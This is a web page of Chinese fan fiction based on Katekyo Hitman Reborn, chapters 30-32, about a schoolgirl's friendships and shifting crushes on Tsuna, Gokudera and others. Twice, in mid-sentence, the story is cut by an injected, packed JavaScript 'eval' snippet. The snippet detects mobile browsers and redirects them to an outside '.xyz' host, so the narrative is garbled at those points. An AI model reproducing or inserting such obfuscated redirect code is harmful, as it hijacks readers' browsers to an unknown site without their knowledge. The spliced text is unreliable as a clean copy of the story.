但笨蛋之所以被称为笨蛋,就算因为他们是笨笨的。他们迫切想要得到认可摆脱‘笨蛋’的头衔,于是拼命努力,为的是让旁人满意、开心。他们余下的贫瘠的大脑留给自己的地方太过狭挤,大概是没有心思去思考这些的——所以,作为笨蛋的天才朋友,她有责任这么提他多考虑些。 就在她打算顺着路绕到桥下时,突然看见一抹熟悉的红,顿时僵住了,缓缓扭头,下意识喊出声:“……云雀前辈!?” 云雀恭弥扭头,手臂上的风纪袖章还是那么鲜红夺目:“有事?” “没、没有……” 他冷哼一声,扭回头。 ……不知道是不是错觉,他看起来心情好像突然差了些。 祢祢想了想,觉得是因为自己的搭话——毕竟云雀恭弥好像是讨厌她来着。 “凑在一起的人,真是碍眼。”他冷声道。 祢祢立刻觉得刚刚是自己自作多情了——云雀恭弥心情不好肯定是因为看见有人群聚,毕竟他最讨厌群聚了——嗯?群聚?谁在群聚? 她陡然一惊,低头,看见只穿了条内裤的沢田纲吉正被三浦春追到爬墙——好厉害!他之前可是绝对做不出来这种动作的! 不不——应该想想他为什么会这样做,为什么对方会追他呢?她到底错过了什么啊! 后来从山本武他们口中了解此事全部经过的祢祢表示自己确实错过良多。 她后来想了想,发现如果她当时没有拉着山本武他们到沢田家写作业的话,那沢田纲吉面对就是天降美少女的单独登门拜访,还带着矛盾和刻板印象——然后这些不好的东西会在后来的相处中逐渐消弭,她会逐渐发现沢田纲吉其实不是初印象…… ……嘶,真是好经典的恋爱轻小说套路啊。 所以其实是她和山本武他们拖慢了他的感情线发展进度吗? 祢祢感到有些愧疚。 沢田纲吉都已经那么没有女人缘了,好不容易来一个还被她给拖拉了一截,真是太不应该了。 然后她后来突然在某天意识到,自己对于沢田纲吉来说好像,拿的是《天降转学生美少女成为了我的挚友》那种剧本。 祢祢:“……” 她仔细想了想,发现又是同样迟到,又是主动投喂蛋糕,又是主动提出交友申请,又是成为彼此的恋爱军师的,真的好有既视感啊。 ……感觉像是在打galgeme。沢田纲吉是男主角,她是拿了心有所属剧本的可攻略女三。 那后来的发展大概就是她被男主角的亚撒西光环扫射到后‘幡然醒悟’移情别恋了。 思及此,祢祢于是试探着将自己和沢田纲吉脸代入到前段时间自己打出了所有be结局在沢田纲吉的辅助下才拿到第一个he的galgeme的剧情中。 ……好怪啊。 她忍不住被恶心地打了个寒颤,觉得沢田纲吉应该拿女主剧本才不会显得太过违和。 “怎么了?祢祢酱。”一旁的笹川京子关切地询问道。 三浦春一惊一乍的语气词口癖很是可爱:“哈咿!?祢祢酱是身体不舒服吗?”她也有些担忧地望过来:“不过最近确实降温了不少呢……要小心啊!” 注视着她像是融化的巧克力一样甜蜜的眼瞳,祢祢感到非常感动:“没关系的,小春,我没那么脆弱。” 三浦春:“可是京子上次说你前段时间还因为生病请过假……” “那是因为连吃了三个冰淇淋的缘故啦!”她赶忙解释:“但我最近别说冰淇淋,连冰淇淋蛋糕都没吃过呢!” 对面扎马尾的女孩这才看上去放心了些。 ……如果沢田纲吉在的话,一定会吐槽她把冰淇淋跟冰淇淋蛋糕做比较有多么多此一举。但很可惜,这是一场女子聚会,他并没有入场资格。 这个话题在笹川京子提醒几句注意添衣后很快揭过——她座椅扶手上挂着的长袖外套很有说服力。 看着两个各有千秋的美少女兴高采烈地讨论栗子蛋糕的口感,祢祢觉得大概是自己多想了。 虽然觉醒了变态的超能力,但沢田纲吉离主角这种词还是差得有些远,更别提galgeme的主角了——虽然他确实也大多数galgeme男主角都有的特性——啊,就是传说中的万恶亚撒西。 温柔是个很好的词汇。祢祢也不讨厌温柔的人——不如说她很喜欢才对。 温柔的人往往更加包容,祢祢尤其喜欢这一类人。因为面对他们,可以让她更轻易地得寸进尺……不是、她的意思是跟这种人相处起来可以恃宠而骄、不、她是说,跟温柔的人相处起来很舒服—— 没错,就是这样。 所以说,温柔是个很好的特质,拥有这种特质的沢田纲吉被人喜欢是应该的。他是个很好的人,了解他后应该没几个人不喜欢他。 但喜欢有很多种,像恋爱游戏的男主角那样成为超级万人迷果然还是有些太勉强了。这个人设搭配上沢田纲吉‘爆衣无敌’的超能力甚至还有些猥琐——实在是太不沢田纲吉了! 所以,虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853776|155618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然纲吉少年拥有男主角一样的亚撒西性格、男主角标配的他喜欢的女孩和喜欢他的女孩、外国转学生、校园明星和天降美少女同时成为他的朋友——他也是绝对不是主角的! 和三浦春成为好朋友是理所当然的事,毕竟她是个很好的女孩子。 这一类的女孩子很吸引人,而且还有强大的‘朋友的朋友是朋友’定理,祢祢觉得自己不和她成为朋友才是不合理的。 但凡是都有个契机,她们三个快速熟络起来的契机就是甜品——啊!甜品可真是伟大的发明!它不仅香甜美味诱人可口,还成就不知道多少段美好的爱情与友谊!甜品万岁!甜门! 那是个美好的一天,祢祢陪着笹川京子买甜品,然后遇见了沢田纲吉和三浦春。 真是够巧的。但也在情理之中,毕竟并盛也不是什么很大的地方。 她一抬手就是山本武腔:“哟!阿纲,出来约——”她想说约会,并且已经说出了一大半,但余光看见自己旁边的笹川京子,意识到那是自家挚友的暗恋对象,于是话音很是生硬地拐了个弯,变成了“逛街”。 祢祢的声音并不大,但也算不上小。甜品店没几个人,顿时都看了过来。 她和沢田纲吉对上视线,看见他那副心虚、忐忑又带着莫名的期待的模样在自己说出“约会”的音节后荡然无存,看上去有些郁闷。 心理戏很多的样子。 “你们也是来买蛋糕的吧。” 祢祢被他的瞬息万变表情变化给取悦到了,心情很好地开口:“这家千层酥很好吃的。”她朝一旁的女孩眨了眨眼,觉得对方的眼睛有些像巧克力。很可口的样子。 祢祢很喜欢。 于是她主动找话题:“刚刚好像有听到你说什么‘每月一次’——京子也有这样的习惯呢!” “诶——真的吗?” “纲同学也来买蛋糕吗?”这时,笹川京子拿着打包好的蛋糕盒子走了过来,很自然地来到祢祢身旁,微笑着将其中一份递到她手上,祢祢欢欣雀跃地接了过去:“是哦。” “——而且那位巧克力眼睛的小姐也和京子你一样又‘每月一次’的规定呢!” 总之,因为同样对甜品的热爱,她们三个成为了好朋友。 后来,三浦春问过她那时对自己“巧克力眼睛”的称呼是怎么来的,祢祢如实回答后,她显得有些害羞。 一旁的笹川京子闻言也探身凑近去看,因为她坐在祢祢旁边而三浦春又坐在祢祢对面,所以进行这个动作时祢祢可以嗅到她身上沐浴露混着体香的甜蜜气息。看着她暖色的发,祢祢不由得有些出身。 “欸,真的有点像诶——”她说着,坐回身时翘起的发尾擦过祢祢的脸颊。 她盯了那缕调皮的头发片刻,在对方带着温柔笑意的疑惑目光中开口:“其实我一直觉得京子酱你的头发像是红茶。” 笹川京子怔了怔,迟疑着抬手搓了搓自己的发尾:“红茶……?” “对!” 祢祢郑重点头:“就是那种会在下午茶时被装倒进西洋茶具、搭配马卡龙的那种想想就很甜美的红茶。” “这、这样吗?” “嗯!”她用力点了两下头,又说:“不过人的头发是不可能像茶水那么清透的——所以一定是加了蜂蜜和牛奶的那种红茶吧!——听上去更可口了呢!” 30.迪诺 和笹川京子她们在岔路分手后,祢祢提着打包好的蛋糕往沢田宅走。 美味的东西不能一次性吃太多也不能太频繁地品尝,那样很容易吃腻,这样你就会失去一样喜欢的东西。 所以蛋糕当然是给沢田纲吉带的。祢祢觉得沢田纲吉能交到自己这样的朋友真是三生有幸——她连出去吃喝玩乐都不忘带他一份。 “……你难道不是来找一平的吗?”沢田纲吉无语脸:“见崎同学,请不要为自己找借口。” “居然已经这么了解我了么?”她支着下巴故作感慨,满意的看见沢田纲吉又开始脸红。 沢田纲吉知道她有的时候就是很恶趣味,有些羞恼地转移话题:“……你找一平干什么?” 她果不其然离开被引走了注意力:“想吃她的包子。” “……”他想起上次她跟笹川京子几个女孩一起吃下一平送的包子的场景,不由得面容扭曲起来。 祢祢欣赏着沢田纲吉和往常一样突如其来的颜艺表演,继续愉快道:“助眠效果很好呢,我需要那个。” “……为什么?” “因为我最近失眠。”祢祢忧郁道,她凑近了些,让他去看自己眼下的青黑:“看,我都有黑眼圈了。” 沢田纲吉下意识后仰拉远距离,有些不大自在:“不要突然靠那么近啊!——话说你的失眠难道是没有缘由的吗?” 祢祢顿时身体一僵,半晌才慢吞吞开口:“最近新买了很多新书……” “……?” “看不完就不想睡嘛……”她心虚地补充。 “……最近是有出什么大长篇吗?这么上瘾。” “……!”她神色一滞,欲盖弥彰:“是游戏啦!对,是游戏!” “什么游戏?”沢田纲吉看上去不太相信她的话。 ……信才是傻了吧?!她这幅表现明摆着是没有说实话嘛!! 祢祢“呃”了一声,迅速报出一部前段时间买了卡带还没来得及打的游戏名。 ——当然不能跟他说实话了,因为她看的那套书来自八年后嘛。 那家书店还挺人性化的,现在买书可以成套买了,天知道看系列书的时候一周只能看一册有多煎熬。她是饭也吃不下觉也睡不着课也听不进去,一心想着后面的剧情会怎么发展——星期四一举成为了比星期五还要叫她期盼的一天。 祢祢最后还是没有要到一平的下落,想来又是跟着西兰花奶牛出去乱窜了。 不过最后蛋糕也没进到沢田纲吉嘴里就是了。 黑手党的世界就是弱肉强食嘛,像他那样的草食动物只能被咬杀。 沢田纲吉:“……不要学云雀讲话啊喂!!” 祢祢悲痛欲绝:“你居然在我面前提别的男人——我对你来说到底算什么?!” “……你最近是看了苦情剧对吧?”他很笃定的样子。不愧是她的挚友,竟然如此了解她——等等、他会不会也像明晰她的喜好那样明晰她的弱点?!如果是这样的话……呵,此子断不可留!!! 沢田纲吉:“……又换成其他剧本了么。” “——什……?你为什么知道我在想什么?难道你有读心术吗?!可恶……我以为你的异能力就只有爆衣无敌而已!” “……爆衣无敌是个什么鬼啊!!根本没有那样的异能吧?!读心术也是根本没有的!!——我知道是因为你说出来了啊!!” 啊,原来又不小心说出来了么,那她之前在心里讲沢田纲吉的异能很变态的时候他也有听到吗。 “……现在听到了。” “……” 祢祢从沢田家离开的时候已经天黑了——她现在已经可以做到很自然的留下来蹭饭了。 回到家后,美佐纪又戏瘾发作拉着她上演了一出深闺怨妇和出轨丈夫的情景剧。真丈夫·见崎贤太郎在一旁尴尬地笑,然后自觉地去厨房把碗刷了。 ……没想到在美佐纪的剧本里沢田纲吉居然是那个‘第三者’呢,真是出人意料。 这一天,祢祢放学后跟在小三、啊不——沢田纲吉身后往家走——沢田家。 她在课上睡了一下午,现在还在一点一点地垂着脑袋,她迷迷瞪瞪睁着眼,脚步飘飘忽忽,扯着沢田纲吉的胳膊,半边身子都快挂他身上,但嘴上还有些不高兴:“你不能爆衣直接把我抬回家吗?好累哦……” 沢田纲吉:“……这种事还是请求Reborn吧,我想他是绝对不会拒绝你的要求的。”然后愉快地抬枪给他脑袋来发死气弹。 ……这种事跟Reborn有什么关系?难道Reborn是他的异能发动条件? 但是这个问题有些太长,祢祢懒得张嘴动舌头,于是直接默认,又懒懒问:“那Reborn在哪里呢?——是在那边的盆栽里吗?” 沢田纲吉下意识扭头看了眼盆栽,总疑心下一秒Reborn就会从那里蹦出来给他一发死气弹。 “……不,他不在那里——应该在家里等着吧。” 祢祢一段路走来清醒了不少,但还是懒懒散散不想多费劲,导致被她扯着的沢田纲吉也被迫以一种乌龟般的速度慢吞吞地向家的方向移动。 这种平静祥和的气氛似乎又将困意带到了她身上,于是祢祢越走越慢、越走越慢,最后几乎是挂在沢田纲吉身上被拖着走。 “……” 自己也说不清楚是因为什么原因,沢田纲吉居然还挺享受这种氛围的。 ……大概是因为现在的风景和气氛都很美好,而祢祢又不算重吧。 祢祢也很喜欢现在这种氛围——当一个不用脑子操纵身体的人形挂件实在是太快乐了。 但被挂的沢田纲吉却突然停下了脚步,身体僵硬的厉害。祢祢疑惑抬头,看见他的表情跟他的身体一样僵,不由得顺着他的视线看去,然后立马直起身,瞬间清醒了不少。 只见沢田家门口乌泱泱挤满了人——身材魁梧高大、黑西装配墨镜的黑衣人。 看长相明显不是亚洲人,而且浑身上下都充斥着来者不善的凶恶气息。 祢祢立刻想到了自己以前看过的黑.帮片忍不住斜眼去看沢田纲吉,小声惊呼:“阿纲……!你那个传说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870293|155618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中在非洲挖矿的老爸难道惹了不该惹的人吗?” 不大可能……而且为什么要用‘传说中’这样的词啊,听上去好奇怪。 沢田纲吉面色僵硬,下意识想要开口吐槽,但还没等他开口,那群黑衣人却突然整齐划一地分开一条道来:“欢迎回来,沢田纲吉先生。” “……” “请进吧。” 祢祢:“……哇塞。” ……别哇塞了!! 沢田纲吉攥住她的手腕迅速跑进了家门。 沢田奈奈听见动静从厨房探出头来,朝祢祢打了个招呼,然后说家里来了客人,是Reborn的朋友,而且还很帅气。 看着她微微泛红的脸,祢祢心情有些复杂。 再好看能有多好看?她看见狱寺隼人的时候都没有脸红诶,Reborn的朋友比狱寺隼人还要好看吗?Reborn的朋友什么样?大概也是小孩子吧。比如西兰花奶牛那样的——但那样顶多可以说是可爱吧?帅气还是有些难以想象了。 她气势汹汹地推开门,想看看传说中比狱寺隼人还帅的小婴儿。 没看到小婴儿,倒是一个高个长腿打扮时髦的金毛外国帅哥闪亮登场。 “……” 祢祢盯着对方手臂上的纹身发了会儿呆,觉得那真是太酷了——不过这个和三浦春的高马尾不是同一等级的,要复刻的话不是休息日去趟理发店那么轻易的事,肯定会疼——而且不知道纹身违不违反风纪,如果被云雀恭弥咬杀的话肯定会更疼。 想着,她又将视线慢悠悠移到他脸上,顿住,几乎想要张嘴感叹一声“美人儿啊”,但意识到那是很不礼貌的行为,遂闭嘴。 他真的很漂亮。祢祢喜欢漂亮的人,她尤其喜欢他的眼睛,像是刚熬好的焦糖酱,让她觉得有点馋,忍不住咽了咽口水。 他的头发也很漂亮,金灿灿的看起来很是可口……话说,这家伙居然是焦糖布丁配色诶!! ——不过这个焦糖布丁配色的大美人居然是个中二病,也在玩黑手党过家家游戏。——明明他看上去已经是个很成熟的大人了。 他扮演的居然也是Reborn的学生,跟沢田纲吉拿的是同一个剧本——被第一杀手收为弟子的黑手党继承人——而且还是废柴逆袭流。好中二哦。 不过因为他很漂亮,所以中二一点也没关系。 焦糖布丁配色大美人自称迪诺——迪诺·加、加什么来着……?祢祢没记住。 ……不太熟的人只需要记名字里最有特色的那几个音节就够了,也可以用点联想,这样能记得更久——就比如池袋那个红眼睛恶灵dk,祢祢到现在依旧记得他叫Izaya。 焦糖布丁、不,是大美人迪诺见她一直自己,很友善地询问她为什么一直盯着他,祢祢诚恳开口:“因为你看起来很……漂亮。” ……吓死了。差点就说成‘可口’了。 好想吃焦糖布丁啊…… 沢田纲吉:“……这是个病句吧?” 祢祢深沉:“已经尽力改过了。” “……” 31.不要再喜欢狱寺隼人了 祢祢决定不要再喜欢狱寺隼人了。 ‘不要再喜欢狱寺隼人了’这个想法并不是突然兴起、不可当真的,它确实有迹可循。 ……不知道该用怎么的语句去具体形容。祢祢感到沮丧。 她可以在自己的故事里找寻出自己对狱寺隼人的情感是怎样产生、又如何结束的节点——就像是恋爱小说里那样。 但这却并不会让祢祢感到开心——怎么会有人因为这个开心呢?像小说一样弄清楚事情的起承转结有什么用啊?以后纪念她第二段恋情的开始和结束吗?好逊!! 祢祢感到哀伤,连沢田纲吉的讲题请求都给(一点也不委婉地)婉拒了,蔫哒哒地叫他去找自己的家庭教师——Reborn的哥哥可是天才数学家,说不定Reborn本人也拥有数学家天赋,只是被中二病给掩盖了。 真是可怜,小小年纪就染上了中二病。 沢田纲吉用担忧地目光询问她是否有不舒服的地方——有也不能去医务室,那个每次见到漂亮女生都要上来索吻的变态校医祢祢一点也不想见到。 ……而且他一定也治愈不了她,毕竟她失去的不是别的,她失去可是爱情啊!! 祢祢第二次恋情的终结原因……要追溯到上一次的数学考试了。 这次考试的试题有些难,但对祢祢来说并没什么感觉。这不是说她有自信可以拿满分,而是她对于成绩方面本来就没什么执着,美佐纪也对这个没有要求。 祢祢想大概是因为她中学时的成绩也不太好吧,据说她那时沉迷早恋,被神间外公棒打鸳鸯了好几次,屡教不改,顽固地很(←这句是神间外公原话)。 当然,虽然没有要求,但能考好当然最好。毕竟祢祢还是很有架子的,‘天才美少女’这种人设她很喜欢,有种jump漫的美感。 虽然她考不好的概率很低就是了——大概跟沢田纲吉这次考试能及格的概率差不多,几近于无吧。 所以,这次考试,祢祢最担心的不是自己会不会考好,而是是沢田纲吉能不能考好,然后很快就又不担心了——沢田纲吉他包不及格的。 果不其然,沢田纲吉这次考试不出众人所料的是不及格,班上的人也就不再大惊小怪了,因为沢田纲吉的不及格已经成为了理所当然,不值得再那样夸张地表现了,那样反而会让自己成为惹人发笑的对象。 而祢祢拿了满分。 没什么值得大惊小怪的,祢祢拿满分就像沢田纲吉考不及格一样常见。但祢祢久违地感到有点高兴,因为这次考试确实不算简单,周围的同学也朝她投以敬佩的目光,老师面色和蔼地给予她夸奖。祢祢更高兴了。 很多时候,不是你做到了什么事会感到高兴,而是周围人在真的你做到了这件事后给予的正面回馈带给你正面的情绪。 祢祢如此想着,侧身看沢田纲吉:“没关系的,阿纲——这次考试确实很难,18分已经很了不起了。” 沢田纲吉盯着她整整齐齐满是红圈的试卷:“……你最没有资格说这种话。” 祢祢无视他的抗议,一边跟他讲最近打的游戏一边跟他分享自己藏在桌肚里的薄荷巧克力,末了还要来句“好想吃马卡龙啊”,然后询问他周末要不要一起去甜品店,她可以带上京子,但交换是他必须带上狱寺隼人。 沢田纲吉:“……最后一句才是重点吧!!” “真是一点也不会看眼色呢,”祢祢有些不赞同的摇了摇头,叹:“要是把这点聪明用到考试上、嗯……也不一定能及格吧?” “……没有你聪明真的是很抱歉呢。 “哎呀,跟我道歉有什么用。阿纲你还是抓紧时间努力吧——不然可真是对不起我和Reborn。” “……怎么又扯上Reborn了?” “他不是你的家庭教师吗?真可爱。下次出门把他带上吧?我请他喝咖啡——话说他这么小年纪就喜欢喝浓缩?不加糖也不加奶,真是厉害呢。” “啊,真厉害呢。” “好敷衍!!再这样你就把我的薄荷巧克力还回来吧!!” “……可是它已经被我吃掉了了啊!!” “那就用你的超能力把它取出来吧——反正阿纲你衣服一脱什么都做得到嘛。” “——但这个是绝对做不到的吧?!!” 这份欢乐一直持续到老师第二次叫到祢祢的名字。 “刚刚不是已经叫过一次见崎同学了吗?” 有同学忍不住问,视线在祢祢和老师手上的试卷上徘徊。 老师也玩笑说:“难道见崎做了两份试题吗?那可真是够厉害的,都是满分呢——要多向见崎同学学习哦。” 众人哄堂大笑,祢祢也忍不住跟着笑了两声,然后意识到大家其实是在笑她,于是顿时笑不出来了。 祢祢:“……” 她想到老师的话,忍不住去想自己是否真的做了两份试题,答案当然是没有。 讲台上的老师很自然的将那份多余的试卷剔到一边,继续将剩下的试卷分发,分发到最后,没有得到试卷的是…… “……哇哦。” 有人发出一声看热闹不嫌事大的气氛音。 祢祢顿了顿:“狱寺君……?” 狱寺隼人没什么表情地从老师手上抽回试卷,用凶恶的眼刀逼退了想要开口询问的老师和那个瞎起哄的学生,看着很是淡定地回了座位。 但就是没有转头看一眼事件的另一名主人公祢祢一眼。 教室里安静了两秒,老师咳了两声若无其事地接着讲起来。 祢祢忍不住侧头去看,狱寺隼人正认真地盯着试卷瞧,仿佛上面有上面难以解答的高深难题——但他明明考了满分,有什么好看的。 而且这种乖学生的姿态真的一点也不狱寺隼人,太违和了。 ……而且他为什么要在试卷上写我的名字呢? 祢祢抿了抿唇,撕了一下页纸,在上面写下这句问话,团成纸团,瞄准,发射——它在沢田纲吉面前飞掠而过,然后成功降落到了狱寺隼人面前摊开的试卷上。非常完美。 祢祢期待地看着银发少年抬手拿起小纸团……然后头也不抬地丢进了桌洞。 祢祢:“……?” 祢祢咬了咬牙,不信邪,又一连发射了好几个,都被对方看也不看地收起来了——看样子是打算下课丢到垃圾桶里去。 ……到底是怎么回事啊?! 祢祢感到焦躁。 没心思去听台上的老师讲什么,她一边在脑子里胡思乱想一边每隔几分钟就丢纸团骚扰狱寺隼人,目光更是一刻也没从他身上移开过。 但平时比爆竹还容易爆炸的狱寺隼人居然没有任何反应,也没有用那种野猫一样会挠人的视线瞪她,叫祢祢很不高兴。 等到最后,她已经懒得往纸上写字了,就只是条件反射般以一种规律的频率朝狱寺隼人丢小纸团。 ……这真是纯骚扰了。 看着纸团源源不断地从面前飞过,沢田纲吉想。 课程结束后,祢祢并没有像沢田纲吉想的那样扑上去质问,而是沉默地收拾好桌子,拉着他去中庭吃便当,而且还提出就他们两个人去。 沢田纲吉有些犹豫地看了一眼狱寺隼人。 祢祢加重语气:“阿纲!” 她手下用力攥紧他的手腕,气势汹汹的样子。 他神色为难,又看了一眼狱寺隼人。 “我都听十代目的。”他低着头轻声说。 祢祢时候心情更差了,拽着沢田纲吉就朝门口走:“那我们走好了!” “等、等等一下啊!!我还没有拿便当!!” 山本武插话:“祢祢,我也不可以一起吗?” 祢祢看他一眼,有些纠结,但不知道想到什么,眼珠滴溜溜一转,开口:“不用,你去陪狱寺吧。” 狱寺隼人当即开口拒绝,但祢祢余光飘过去,他还是没有看她。 于是她也迅速扭过头去,决定不再去看他。没等山本武还要说些什么,她拉着沢田纲吉迅速冲出了教室。 · “……所以,你觉得是狱寺君怕考不好故意填了你的名字??”沢田纲吉神色古怪:“怎么可能?” “那不然是怎么一回事嘛!” 祢祢眼睛红红,要哭不哭的样子:“还能是他写顺手了吗?怎么可能!这是我的名字,他怎么可能写顺手!他是会经常写我的名字还是会一直想着我以至于写错呢?我自己都还不怎么顺手呢——我写了 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“好像大多数都是恶作剧,只写了表白的话,却没有写人名,偶然有几个当面告白的也都不讨我喜欢。” 她剪短了些的发梢被风吹得贴着面颊,又被自己抬手拨到耳后:“我在中国上学的时候也没有收到过告白——不过我想这个是因为那里的校规不允许恋爱,但是我有看到高年级的学长学姐偷偷约会——幸好那里没有云雀恭弥,感觉那里的学生没有并盛的结实,被抽进墙里的话说不定会死掉。” 她用筷子戳了戳米饭,挑食般每次只夹一点放进嘴里慢吞吞咀嚼,然后再咽下去。 “感觉我的恋爱被搞得乱七八糟的——突然来又突然去,跟被诅咒了似的。”她顿了顿:“之前有跟美佐纪约定在16岁之前不谈恋爱来着,不过后来被我违约了——说不定就是因为这个。” 沢田纲吉:“……开始迷信了么。” 祢祢瞥他:“你不是也有超能力吗?就是不穿衣服会变厉害那个很变态的超能力——那个科学吗?” “……那个才不是超能力!” 祢祢哼笑两声,心情好了不少,低头往嘴里扒了两口饭,然后又百无聊赖的将视线放在沢田纲吉身上,觉得他被太阳穿透后显得颜色更浅的蓬松棕发像是金毛狮王,于是忍不住又笑起来。 沢田纲吉无奈的看了她一眼,祢祢却突然止了笑。 ……那是怎样的一眼呢? 祢祢觉得那和他平常的任何一个笑都没什么两样。但因为太常见了,所以她一直没有想过去仔细看。 放在光下、清晰地去看见。 祢祢突然发现沢田纲吉身上有一种很奇特的气质。他拥有所谓的包容性。他身周的空气似乎带着阳光的温暖和春风的轻柔,像是一望无际的天幕。 有种刻板印象里人''妻一样的宽容又慈祥的气质。 这种气质……很吸引人。 仔细想想,沢田纲吉好像一直都是这样。无论她说什么话、开什么玩笑、做出什么古怪的举动,他都这样包容地全盘接受,像是片温柔的海,任她在浪花里沉沉浮浮自由漂流。 祢祢突然觉得自己难以直视他。 然后听到自己的心跳击鼓似的响——她已经很熟悉这种症状了。 沢田纲吉疑惑地看向她。他看见祢祢定定盯着自己,那种直勾勾的、探寻又打量的、富有穿透性的视线叫人坐立不安。 然后她又突然起身,抬手狠狠甩了自己一巴掌。 沢田纲吉:“……?!?!” 沢田纲吉大惊:“你在干什么啊?!” 祢祢捂着被自己打红的脸,眼泪汪汪地含糊开口:“对不起,沢田纲吉,我有罪。” “……为什么突然开始叫全名啊?!你哪里有罪了?打自己干什么?!” “你是个好男人。” 她没理会他的问题,继续自顾自说道:“你以后一定会是一个好妈妈。” 沢田纲吉:“……你到底在说什么啊?!前后颠倒了吧?!我可是男生,怎么当妈妈啊?” 但祢祢却只是又低声前后颠倒地说两句“对不起”“我有罪”就低头跑走了。 32.见崎祢祢的逃避行 那天之后,见崎祢祢一直在躲他。 沢田纲吉很轻易就得出了这个结论。 中午吃饭,她和笹川京子她们坐在一起,放学的时候,她也先走一步,如果被拦住,她就朝他露出愧疚、纠结又欲言又止的复杂神情,看得人一愣一愣的,最后沉重地缓缓摇头,拒绝,离开。 ……这家伙又抽哪门子的风啊?! 沢田纲吉感到熟悉的莫名其妙,但倒也没怎么生气,毕竟见崎祢祢正常的时候少得可怜,她就是那种总是莫名其妙的人,这种情况过两天应该就自己好了……吧? 见崎祢祢抽风的时间冒似长得有些不正常了。 沢田纲吉犹豫了两秒,决定主动出击,免得被Reborn多管闲事用死气弹‘助威’。 但如上述,祢祢在躲他,所以沢田纲吉几乎找不到机会跟她独处。 上课的时候,他学着祢祢之前的样子,犹犹豫豫地把问题写在纸上,战战兢兢地往她桌面上丢。 祢祢上课听不听讲随心情,有时还会拉这周围的同学(说的就是你,沢田阿纲)讲小话,但因为两个人的成绩都一直很稳(一正一负),所以就被老师们给一致忽视了。 这天,祢祢依旧没有认真听讲,但也没有跟沢田纲吉讲小话,而是盯着外面看,密而长的睫毛以一种固定的缓慢频率眨动——大概是在发呆。 ……虽然祢祢现在已经不喜欢云雀恭弥了,但在此前养成的习惯却依旧在。比如在路上遇到云雀恭弥时会下意识喊人,比如偶尔会想去天台解决午饭和喜欢盯着窗外发呆。 沢田纲吉知道她很喜欢天空。祢祢说天空的颜色很漂亮,晴天的蓝、阴天的蓝、雨天的蓝……还有其他时候的天空的蓝都是不同的蓝,但都很漂亮。 而且天空的颜色大概每天都会因为气候而变化。世界上没有完全相同的两天,所以也大概不会有两片完全相同的天空。于是每一天的天空都是不一样的蓝,是独一无二的蓝——祢祢喜欢独一无二的东西。 虽然说世界上本来就没有完全相同的两样东西就是了…… ……也没见她喜欢全世界啊。还不是只喜欢那几个特定的人和事。 纸团顺利的降落在了祢祢面前的桌子上——就在她撑着下巴的手肘旁,隔着算不上厚的外套朝她发出了一个轻柔的袭击。 沢田纲吉趴伏在在桌面上,不由自主地屏住呼吸,看见她眨眼的频率慢了半拍,轻轻点着桌檐的手指也滞了。 ……只要她拆开纸团,就可以看见上面他邀请她放学后一起去吃马卡龙的文字了。 盯着乱七八糟团成小小团的纸,沢田纲吉后知后觉感到有些委屈……明明那天先提出一起去吃马卡龙的是她,可现在不理他的也是她。 真是太过分了。 但沢田纲吉忘了祢祢是个过分任性的家伙,她还能做出更过分的事。 ——他看见祢祢顿了顿,看了眼纸团,又侧头看了她一眼,然后像是难以直视般迅速移开,像是他身上有什么多看一眼就会死掉的毒药——最后将纸团迅速拾起丢进了桌洞。 ……动作居然有点像那天的狱寺隼人。 “……” 沢田纲吉可算明白那天祢祢为什么那么生气了。 他踟蹰片刻,最后决定学着那时的祢祢朝现在的祢祢持续输出小纸团。 ……如果她还有良心的话,希望可以和他共情一下。 但很显然,见崎祢祢的良心是马卡龙做的——饿了就会被自己掏出来啃两口,还会咋吧着嘴说句真香,然后指挥人去给自己泡壶茶解解腻——处于一种随着心情变化时有时无的状态。 今天的祢祢好像刚好饿了,所以把良心吃掉了,倒霉的沢田纲吉不能凭借精卫填海般不懈的精神感动到她。也不可能感动到她。 因为他丢到半路就被老师点了名。 ……上课开小差不被点名是优等生的特权。 于是沢田纲吉选择在其他时候再继续这项任务。 ……而且要快。不然他阴晴不定的家庭教师Reborn说不定会给他吃一发死气弹——那种状态要他怎么跟她相处啊。 但沢田纲吉很快就发现,自己根本堵不到祢祢。 他之前居然没发现她在班里有那么多朋友。 ……不,之前好像并不是朋友。只是仅限于‘认识’范畴的普通同学,是在路上碰到了是打招呼还是装作没看见都是凭心情决定的那种关系。 还是他小瞧了她的社交能力了……她大概根本不缺他那一个朋友。 总之,祢祢一下课不是找跟笹川京子搭话,就是跑到那些新交的、他根本不熟悉的人身边。 看来在教室也找不到交流的机会了。 于是沢田纲吉打算在上下学路上堵她。 ——啊啊啊啊啊,说得好像不良少年一样啊!!如果被云雀碰上的话会被当成小混混打的吧?!!! 然后他就发现,自己根本没有被云雀恭弥揍的机会,因为在上下学路上他也堵不到见崎祢祢。 教室随着放课铃的声响迅速被喧闹给充盈。老师抱起教科书离开教师,于是喧闹更盛,学生们笑闹着,一边和坐在附近的好友商议待会儿怎么玩一边收拾着书包,如果不幸离得远、还会牛郎织女般隔着大半个教室还会抻着脖子喊……总之吵得人耳朵疼。是云雀恭弥撞见会咬杀全班的程度。 ……前几天他也是这群人中的一员。 祢祢也喜欢这样说话。这种热烈的气氛很容易带动人的情绪,无论在课上怎么昏昏欲睡,放课铃一响,大家也都瞬间活跃吵闹起来。包括祢祢。 